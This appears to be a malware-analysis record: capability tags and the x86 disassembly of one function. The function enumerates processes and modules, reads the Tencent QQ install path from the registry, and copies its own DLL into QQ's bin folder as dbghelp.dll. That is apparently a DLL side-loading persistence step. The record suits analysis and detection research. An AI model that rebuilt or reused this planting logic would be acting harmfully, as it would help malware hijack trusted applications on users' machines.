Function at 0x10011e80
Capabilities:
Copy file
Enumerate process modules
Enumerate processes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x974
mov eax, dword [0x1003f050]
xor eax, esp
mov dword [esp + 0x970], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [esp + 0x55d]
push ebx
push eax
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x564], bl
call fcn.1001eb30
add esp, 0xc
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x124
lea ecx, [esp + 0x438]
mov esi, eax
push ebx
push ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x43c], 0x128
call fcn.1001eb30
add esp, 0xc
lea edx, [esp + 0x430]
push edx
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10011f1f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x970]
xor ecx, esp
call fcn.1001c89c
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x10011f30
lea eax, [esp + 0x454]
push 0x100374b4
push eax
call fcn.10024c19
add esp, 8
test eax, eax
jne 0x10011fb6
mov ecx, dword [esp + 0x438]
push ecx
push ebx
push 0x431
call edi
push 0x40c
lea edx, [esp + 0x28]
push ebx
push edx
mov esi, eax
mov dword [esp + 0x2c], ebx
call fcn.1001eb30
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push 0x410
lea ecx, [esp + 0x28]
push ecx
push esi
mov dword [esp + 0x24], ebx
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x10011fab
mov eax, dword [esp + 0x20]
push 0x104
lea edx, [esp + 0x55c]
push edx
push eax
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov dword [esp + 0x10], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x430]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10011f30
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x558]
cmp dword [esp + 0x10], ebx
je 0x10012002
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [esp + 0x558]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10012071
lea ecx, [esp + 0x14]
push ecx
push edx
lea eax, [esp + 0x20]
push eax
push str.Install
push str.SOFTWARETencentQQ2009
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x30], 1
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x1001216e
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x558]
push edx
mov dword [esp + 0x14], ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [esp + 0x558]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x10012058
mov ecx, dword [str.bin_]
mov dl, byte [0x10037554]
mov dword [eax], ecx
mov byte [eax + 4], dl
cmp dword [esp + 0x10], ebx
je 0x1001216e
push 0x103
lea eax, [esp + 0x665]
push ebx
push eax
mov byte [esp + 0x66c], bl
call fcn.1001eb30
push 0x103
lea ecx, [esp + 0x779]
push ebx
push ecx
mov byte [esp + 0x780], bl
call fcn.1001eb30
push str.dbghelp.dll
lea edx, [esp + 0x574]
push edx
lea eax, [esp + 0x680]
push str._s_s
push eax
call fcn.1001ca7b
add esp, 0x28
push 0x1c
push 0x10042164
push 0x10042164
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [0x10042168]
push 0x104
lea ecx, [esp + 0x76c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
lea eax, [esp + 0x875]
push ebx
push eax
mov byte [esp + 0x87c], bl
call fcn.1001eb30
lea ecx, [esp + 0x66c]
push ecx
lea edx, [esp + 0x880]
push str._s.tmp
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
call sym.QQUtil.dll_IsInstalled
test eax, eax
jne 0x10011f08
push ebx
lea eax, [esp + 0x664]
push eax
lea ecx, [esp + 0x770]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x970]
xor ecx, esp
call fcn.1001c89c
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x97c]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.1001c89c
mov esp, ebp
pop ebp
ret